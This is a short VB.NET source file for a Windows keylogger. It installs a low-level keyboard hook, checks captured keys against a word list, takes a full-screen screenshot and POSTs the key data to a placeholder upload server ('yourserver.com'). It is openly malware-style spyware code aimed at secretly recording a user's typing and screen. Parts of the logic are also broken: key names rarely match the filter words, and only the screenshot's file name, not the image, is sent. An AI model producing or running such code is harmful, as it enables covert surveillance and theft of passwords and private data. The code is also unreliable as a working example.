Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN As Integer = &H100
Private Const WM_KEYUP As Integer = &H101
Private Shared _hookID As IntPtr = IntPtr.Zero
Private Shared _filterWords As String() = {"example", "test", "keyword"}
Private Shared _serverUrl As String = "http://yourserver.com/upload"
Public Shared Sub Main()
_hookID = SetHook(New LowLevelKeyboardProc(AddressOf HookCallback))
Application.Run()
UnhookWindowsHookEx(_hookID)
End Sub
Private Shared Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
Using curProcess As Process = Process.GetCurrentProcess()
Using curModule As ProcessModule = curProcess.MainModule
Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
End Using
End Using
End Function
Private Shared Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
Dim vkCode As Integer = Marshal.ReadInt32(lParam)
Dim key As String = CType(vkCode, Keys).ToString()
If _filterWords.Any(Function(word) key.Contains(word, StringComparison.OrdinalIgnoreCase)) Then
CaptureScreenshot()
UploadToServer(key)
End If
End If
Return CallNextHookEx(_hookID, nCode, wParam, lParam)
End Function
Private Shared Sub CaptureScreenshot()
Dim bounds As Rectangle = Screen.GetBounds(Point.Empty)
Using bitmap As New Bitmap(bounds.Width, bounds.Height)
Using g As Graphics = Graphics.FromImage(bitmap)
g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size)
End Using
bitmap.Save("screenshot.png")
End Using
End Sub
Private Shared Sub UploadToServer(key As String)
Try
Dim request As HttpWebRequest = CType(WebRequest.Create(_serverUrl), HttpWebRequest)
request.Method = "POST"
request.ContentType = "application/x-www-form-urlencoded"
Dim postData As String = "key=" & WebUtility.UrlEncode(key) & "&screenshot=" & WebUtility.UrlEncode("screenshot.png")
Dim data As Byte() = System.Text.Encoding.UTF8.GetBytes(postData)
request.ContentLength = data.Length
Using stream As Stream = request.GetRequestStream()
stream.Write(data, 0, data.Length)
End Using
Using response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse)
' Handle response if needed
End Using
Catch ex As Exception
' Handle exceptions
End Try
End Sub
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
End Function
Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr